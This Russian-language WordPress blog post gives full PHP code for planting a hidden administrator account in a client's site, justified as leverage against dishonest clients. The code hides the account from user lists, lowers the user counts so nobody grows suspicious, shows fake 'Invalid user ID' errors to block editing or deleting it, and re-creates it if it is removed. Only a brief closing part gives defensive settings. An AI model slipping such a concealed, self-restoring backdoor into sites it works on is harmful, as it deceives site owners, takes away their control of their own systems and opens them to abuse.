Создание скрытого администратора как способ обезопасить себя при работе с недобросовестными клиентами

Владислав Белецкий
Владислав Белецкий .
Категория:
Комментариев: 0

Прежде всего скажу — в большинстве случаев так делать не нужно, и если у вас проблема с доверием к клиенту, во-первых, обязательно берите предоплату, а во вторых, ведите разработку на своём собственном тестовом сервере. Только и всего.

Небольшой отступление — да, это премиум пост, и ввиду отсутствия рекламы, премиум посты будут периодически появляться на моём сайте, однако во первых, не чаще, чем раз в месяц, во вторых — в них никогда не будут попадать общие руководства по WordPress, как например руководство по миниатюрам или по работе с WP_Cron. В рубрику премиум постов войдут в основном мои собственные наработки, которых особо и не встретишь в интернете.

Шаг 1. Скрываем пользователя отовсюду, где он может выводиться

Сначала сделаем так, чтобы только скрытый пользователь мог видеть сам себя в списках с пользователями.

Это может быть например страница со всеми пользователями в админке или выпадающий список авторов. Код работает для всех циклов вывода пользователей сайта без исключения.

add_action( 'pre_user_query', 'misha_protect_user_query' );
 
function misha_protect_user_query( $user_search ) {
	$user_id = get_current_user_id();
	$id = get_option('_pre_user_id');
 
	if ( is_wp_error( $id ) || $user_id == $id)
		return;
 
	global $wpdb;
	$user_search->query_where = str_replace('WHERE 1=1',
				"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
				$user_search->query_where
				);
}

Шаг 2. Корректируем счетчики количества пользователей, чтобы никто ничего не заподозрил

Внимательно посмотрите на скриншот — на нём на счетчиках четко видно, что всего пользователей 3 и среди них два администратора, а по факту в таблице отображается только два пользователя (один администратор).

Чтобы такого нонсенса не происходило, просто используйте этот код:

add_filter('views_users','protect_user_count');
 
function protect_user_count( $views ){
 
	$html = explode('<span class="count">(',$views['all']);
	$count = explode(')</span>',$html[1]);
	$count[0]--;
	$views['all'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1];
 
	$html = explode('<span class="count">(',$views['administrator']);
	$count = explode(')</span>',$html[1]);
	$count[0]--;
	$views['administrator'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1];
 
	return $views;
}

Array
(
    [all] => <a href='users.php' class="current">Все <span class="count">(3)</span></a>
    [administrator] => <a href='users.php?role=administrator'>Администратор <span class="count">(2)</span></a>
    [editor] => <a href='users.php?role=editor'>Редактор <span class="count">(1)</span></a>
)

И наша задача в этом массиве уменьшить на единицу количество пользователей для «Все» и для «Администратор»

Шаг 3. Закрываем доступ к странице редактирования пользователя

Представляете, какое удивление будет у человека, если он вдруг абсолютно случайно таким образом наткнётся на страницу редактирования какого-то неведомого пользователя, который нигде не отображается. Наверное его первой мыслью будет то, что его сайт взломали и он либо сам попытается искоренить вашего пользователя, либо обратится за помощью к более сведущим людям.

Чтобы этого не случилось и чтобы никто не мог попасть на страницу редактирования скрытого пользователя кроме него самого, применим простенький код. Даже если кто-то введёт в адресной строке корректный ID вашего пользователя, сделаем так, чтобы ему было отдано сообщение о некорректном ID — всё как положено, никаких подозрений.

Код будет следующий:

add_action('load-user-edit.php','misha_protect_users_profiles');
 
function misha_protect_users_profiles() {
	$user_id = get_current_user_id();
	$id = get_option('_pre_user_id');
 
	if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id)
		wp_die(__( 'Invalid user ID.' ) );
}

В принципе тут всё очень просто — опять при помощи get_option() получаем из базы ID скрытого пользователя и просто сравниваем его с переменной $_GET['user_id'].

Шаг 4. Ставим запрет на удаление пользователя

Давайте сделаем так, чтобы выводилось точно такое же сообщение, как в предыдущем шаге, о некорректном ID пользователя.

add_action('admin_menu', 'protect_user_from_deleting');
 
function protect_user_from_deleting(){
 
	$id = get_option('_pre_user_id');
 
	if( isset( $_GET['user'] ) && $_GET['user']
	&& isset( $_GET['action'] ) && $_GET['action'] == 'delete'
	&& ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) )
		wp_die(__( 'Invalid user ID.' ) );
 
}

Шаг 5. Ставим защиту от удаления или изменения пользователя напрямую через базу данных

В этом коде я проработал два сценария: попытку удаления пользователя и попытку смены его пароля с последующей сменой емайла.

$args = array(
	'user_login' => 'Ваш логин пользователя',
	'user_pass' => 'Пароль',
	'role' => 'administrator',
	'user_email' => 'Емайл'
);
 
if( !username_exists( $args['user_login'] ) ){
	$id = wp_insert_user( $args );
	update_option('_pre_user_id', $id);
} else {
	$hidden_user = get_user_by( 'login', $args['user_login'] );
	if ( $hidden_user->user_email != $args['user_email'] ) {
		$id = get_option( '_pre_user_id' );
		$args['ID'] = $id;
		wp_insert_user( $args );
	}	
}

В заключение: Весь код целиком

Для того, чтобы вам было удобно, я собрал весь код в одном месте. Вставлять я думаю вы знаете куда, ну а если не знаете, то и functions.php сгодится.

add_action('pre_user_query','misha_protect_user_query');
add_filter('views_users','protect_user_count');
add_action('load-user-edit.php','misha_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
 
function misha_protect_user_query( $user_search ) {
	$user_id = get_current_user_id();
	$id = get_option('_pre_user_id');
 
	if ( is_wp_error( $id ) || $user_id == $id)
		return;
 
	global $wpdb;
	$user_search->query_where = str_replace('WHERE 1=1',
				"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
				$user_search->query_where
				);
}
 
function protect_user_count( $views ){
 
	$html = explode('<span class="count">(',$views['all']);
	$count = explode(')</span>',$html[1]);
	$count[0]--;
	$views['all'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1];
 
	$html = explode('<span class="count">(',$views['administrator']);
	$count = explode(')</span>',$html[1]);
	$count[0]--;
	$views['administrator'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1];
 
	return $views;
}
 
function misha_protect_users_profiles() {
	$user_id = get_current_user_id();
	$id = get_option('_pre_user_id');
 
	if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id)
		wp_die(__( 'Invalid user ID.' ) );
}
 
function protect_user_from_deleting(){
 
	$id = get_option('_pre_user_id');
 
	if( isset( $_GET['user'] ) && $_GET['user']
	&& isset( $_GET['action'] ) && $_GET['action'] == 'delete'
	&& ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) )
		wp_die(__( 'Invalid user ID.' ) );
 
}
 
$args = array(
	'user_login' => 'Ваш логин пользователя',
	'user_pass' => 'Пароль',
	'role' => 'administrator',
	'user_email' => 'Емайл'
);
 
if( !username_exists( $args['user_login'] ) ){
	$id = wp_insert_user( $args );
	update_option('_pre_user_id', $id);
 
	// если мультисайт, то можно и суперадминистратора добавить
	// grant_super_admin( $id );
} else {
	$hidden_user = get_user_by( 'login', $args['user_login'] );
	if ( $hidden_user->user_email != $args['user_email'] ) {
		$id = get_option( '_pre_user_id' );
		$args['ID'] = $id;
		wp_insert_user( $args );
	}	
}

Как защитить свой собственный сайт от подобных вещей.

Поэтому разберемся именно с теми способами защиты, которые не дадут пользователю особо навредить.

Рассматривать тупо удаление всего контента не буду, просто какой в этом смысл. Итак, основная вещь, которая даёт большую свободу действий, это редактирование PHP, а без FTP доступа сделать это можно следующими способами:

define('DISALLOW_FILE_EDIT', true);
define('DISALLOW_FILE_MODS', true);

И ещё кое-что, у функции, через которую проходят все регистрации и обновления пользователей wp_insert_user() есть хук user_register — вы можете просто повесить на него уведомление, которое будет приходить вам по емайл каждый раз при регистрации пользователя (даже если это сделано через код).

Смотрите также

Подписаться
Уведомить о
guest
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии